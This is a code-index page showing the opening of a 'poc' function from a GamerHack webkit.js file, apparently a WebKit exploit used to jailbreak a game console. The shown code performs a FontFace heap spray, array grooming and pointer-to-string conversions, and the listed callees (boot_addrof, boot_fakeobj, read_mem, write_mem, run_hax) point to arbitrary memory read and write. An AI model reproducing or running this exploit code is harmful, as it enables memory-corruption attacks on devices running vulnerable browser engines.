MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / poc

Function poc

restore/900v2/webkit.js:12–463  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

10var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time
11
12function poc() {
13
14 var union = new ArrayBuffer(8);
15 var union_b = new Uint8Array(union);
16 var union_i = new Uint32Array(union);
17 var union_f = new Float64Array(union);
18
19 var bad_fonts = [];
20
21 for (var i = 0; i < SPRAY_FONTS; i++)
22 bad_fonts.push(new FontFace("font1", "", {}));
23
24 var good_font = new FontFace("font2", "url(data:text/html,)", {});
25 bad_fonts.push(good_font);
26
27 var arrays = [];
28 for (var i = 0; i < 512; i++)
29 arrays.push(new Array(31));
30
31 arrays[256][0] = 1.5;
32 arrays[257][0] = {};
33 arrays[258][0] = 1.5;
34
35 var jsvalue = {
36 a: arrays[256],
37 b: new Uint32Array(1),
38 c: true
39 };
40
41 var string_atomifier = {};
42 var string_id = 10000000;
43
44 function ptrToString(p) {
45 var s = '';
46 for (var i = 0; i < 8; i++) {
47 s += String.fromCharCode(p % 256);
48 p = (p - p % 256) / 256;
49 }
50 return s;
51 }
52
53 function stringToPtr(p, o) {
54 if (o === undefined)
55 o = 0;
56 var ans = 0;
57 for (var i = 7; i >= 0; i--)
58 ans = 256 * ans + p.charCodeAt(o + i);
59 return ans;
60 }
61
62 var strings = [];
63
64 function mkString(l, head) {
65 var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++);
66 string_atomifier[s] = 1;
67 strings.push(s);
68 return s;
69 }

Callers

nothing calls this directly

Calls 15

ptrToStringFunction · 0.70
mkStringFunction · 0.70
stringToPtrFunction · 0.70
makeReaderFunction · 0.70
boot_addrofFunction · 0.70
i48_getFunction · 0.70
i48_putFunction · 0.70
read_mem_setupFunction · 0.70
boot_fakeobjFunction · 0.70
run_haxFunction · 0.70
read_memFunction · 0.50
write_memFunction · 0.50

Tested by

no test coverage detected